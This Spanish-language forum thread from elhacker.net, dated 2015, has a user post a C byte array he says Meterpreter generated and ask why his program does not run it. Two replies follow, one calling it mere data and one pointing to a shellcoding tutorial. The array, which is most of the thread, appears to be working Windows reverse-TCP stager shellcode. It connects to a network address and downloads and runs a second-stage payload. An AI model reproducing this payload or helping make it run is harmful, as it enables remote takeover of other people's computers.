Foro de elhacker.net

Programación => Programación C/C++ => Mensaje iniciado por: mester en 8 Abril 2015, 21:46 pm



Título: Como introducir codigo ASCII
Publicado por: mester en 8 Abril 2015, 21:46 pm
Resulta que al crear un payload en C desde meterpreter me sale estoy no se muy bien como poner esto en un programa en C, porque me compila pero el programa no hace lo que debería hacer. ¿Me podeis guiar un poco?

unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68"
"\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x01\x06\x68"
"\x02\x00\x7a\x69\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
"\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
"\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3";


Título: Re: Como introducir codigo ASCII
Publicado por: ivancea96 en 8 Abril 2015, 21:59 pm
¿Qué debería hacer?
Ese código que pusiste solo es una variable con datos.


Título: Re: Como introducir codigo ASCII
Publicado por: Stakewinner00 en 8 Abril 2015, 22:00 pm
Eso debe ser código ensamblador, busca sobre shellcoding

por ejemplo http://www.vividmachines.com/shellcode/shellcode.html (http://www.vividmachines.com/shellcode/shellcode.html)

Si no miraste el tema de shellcoding, es recomendable que busques información sobre ello.